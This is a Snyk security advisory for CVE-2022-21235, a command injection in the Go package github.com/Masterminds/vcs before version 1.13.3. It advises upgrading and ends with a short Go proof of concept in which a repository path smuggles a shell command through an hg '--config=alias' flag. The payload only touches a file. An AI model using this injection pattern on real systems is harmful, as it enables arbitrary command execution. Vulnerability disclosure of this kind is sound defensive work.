Command Injection Affecting github.com/masterminds/vcs package, versions <1.13.3
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.13% (48th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078
- published 1 Apr 2022
- disclosed 11 Mar 2022
- credit Alessio Della Libera of Snyk Research Team
Introduced: 11 Mar 2022
CVE-2022-21235 Open this link in a new tabHow to fix?
Upgrade github.com/Masterminds/vcs to version 1.13.3 or higher.
Overview
github.com/Masterminds/vcs is a VCS Repo management through a common interface in Go.
Affected versions of this package are vulnerable to Command Injection via argument injection. When hg is executed, argument strings are passed to hg in a way that additional flags can be set. The additional flags can be used to perform a command injection.
PoC
package main
import (
"github.com/Masterminds/vcs"
)
func main(){
local := "--config=alias.init=!touch ./HELLO"
repo, _ := vcs.NewHgRepo("remote", local)
repo.Init()
}